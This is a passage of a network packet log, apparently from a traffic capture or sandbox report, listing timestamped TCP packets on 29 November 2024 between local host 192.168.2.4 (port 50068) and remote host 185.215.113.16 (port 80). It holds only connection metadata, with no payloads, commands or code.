Nov 29, 2024 20:07:32.089986086 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.090044975 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.090107918 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.090153933 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.091211081 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.091262102 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.091434002 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.091480017 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.092573881 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.092617035 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.092664957 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.092772007 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.093715906 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.093760967 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.093888998 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.093930960 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.094907045 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.094952106 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.094993114 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.095037937 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.096271038 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.096317053 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.096492052 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.096540928 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.097373009 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.097426891 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.097433090 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.097471952 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.098572016 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.098634005 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.098660946 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.098706007 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.099834919 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.099883080 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.100039005 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.100091934 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.101001024 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.101042986 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.101203918 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.101246119 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.102277994 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.102324009 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.102401018 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.102456093 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.103498936 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.103559017 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.103657007 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.103699923 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.104660034 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.104711056 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.240540028 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.240588903 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.240681887 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.240731001 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.240865946 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.240922928 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.240988970 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.241029978 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.242084980 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.242129087 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.242253065 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.242292881 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.243432999 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.243530989 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.243536949 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.243586063 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.244179964 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.244215012 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.244363070 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.244411945 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.245369911 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.245412111 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.245491028 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.245531082 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.246568918 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.246615887 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.246795893 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.246839046 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.247807980 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.247850895 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.247903109 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.247947931 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.248980999 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.249026060 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.249149084 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.249186993 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.250200987 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.250241041 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.250303984 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.250370026 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.251418114 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.251475096 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.251513004 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.251549006 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.252621889 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.252670050 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.252727032 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.252772093 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.253842115 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.253884077 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.253948927 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.253993034 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.255048990 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.255094051 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.255140066 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.255182981 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.256272078 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.256325960 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.256366968 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.256409883 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.257450104 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.257492065 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.257560968 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.257601976 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.258663893 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.258708954 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.258713007 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.258850098 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.259870052 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.259924889 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.259967089 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.260005951 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.261141062 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.261190891 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.261320114 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.261368036 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.262285948 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.262337923 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.262375116 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.262408018 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.263648033 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.263691902 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.263705969 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.263755083 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.264695883 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.264739037 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.264828920 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.264870882 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.265891075 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.265938997 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.265961885 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.266004086 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.267093897 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.267137051 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.267200947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.267256975 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.268349886 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.268388987 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.268506050 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.268553972 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.269521952 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.269565105 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.269632101 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.269685984 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.270714045 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.270759106 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.270822048 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.270865917 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.271943092 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.271986961 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.272051096 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.272094965 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.273149967 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.273216963 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.273299932 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.273353100 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.274374962 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.274420977 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.274420977 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.274467945 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.275602102 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.275648117 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.275775909 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.275816917 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.276796103 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.276843071 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.276909113 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.276956081 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.278053999 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.278070927 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.278096914 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.278129101 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.279189110 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.279232025 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.279300928 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.279355049 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.280395985 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.280446053 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.280452967 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.280487061 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.281603098 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.281644106 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.281732082 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.281773090 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.282809019 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.282855034 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.282896996 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.282938004 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.284040928 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.284084082 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.284182072 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.284219980 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.285237074 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.285351038 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.286408901 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.286520004 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.287636042 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.287684917 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.287714958 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.288844109 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.288958073 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.290085077 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.290117979 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.290251017 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.291254997 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.291289091 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.291323900 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.292462111 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.292608976 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.292639971 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.293677092 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.293782949 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.294332981 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.294866085 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.294995070 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.296092033 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.296212912 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.296257973 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.297303915 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.297427893 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.298295021 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.298502922 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.298633099 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.299709082 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.299793005 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.299810886 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.300921917 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.301039934 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.301071882 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.302112103 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.302181959 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.302331924 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.303329945 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.303388119 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.310338020 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.442028999 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.442229033 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.442503929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.442548037 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.442615986 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.443725109 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.443945885 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.443979979 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.444969893 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.445077896 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.446129084 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.446166992 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.446219921 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.447355032 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.447387934 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.447391033 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.448542118 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.448648930 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.448679924 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.449764013 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.449913979 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.450335026 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.450978041 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.451095104 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.452157021 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.452255011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.452285051 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.453382015 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.453506947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.454333067 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.454689980 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.454766989 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.455786943 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.455894947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.455923080 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.456983089 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.457093954 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.458173990 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.458210945 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.458276033 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.459374905 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.459407091 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.459497929 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.460666895 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.460804939 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.460839987 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.461791039 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.461908102 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.462330103 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.463015079 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.463119030 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.464232922 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.464307070 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.464342117 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.465475082 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.465574026 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.466332912 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.466593981 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.466731071 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.467811108 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.467909098 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.467946053 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.468988895 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.469113111 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.470217943 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.470252037 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.470318079 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.470422983 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.470422983 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.471432924 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.471498966 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.471534967 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.472630024 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.472726107 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.473819971 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.473855972 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.473932028 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.475047112 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.475079060 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.475182056 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.476234913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.476372957 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.476408958 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.477463961 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.477511883 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.478333950 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.478651047 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.478760958 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.479856968 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.479914904 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.479950905 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.481072903 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.481194019 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.482278109 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.482314110 CET	50068	80	192.168.2.4	185.215.113.16
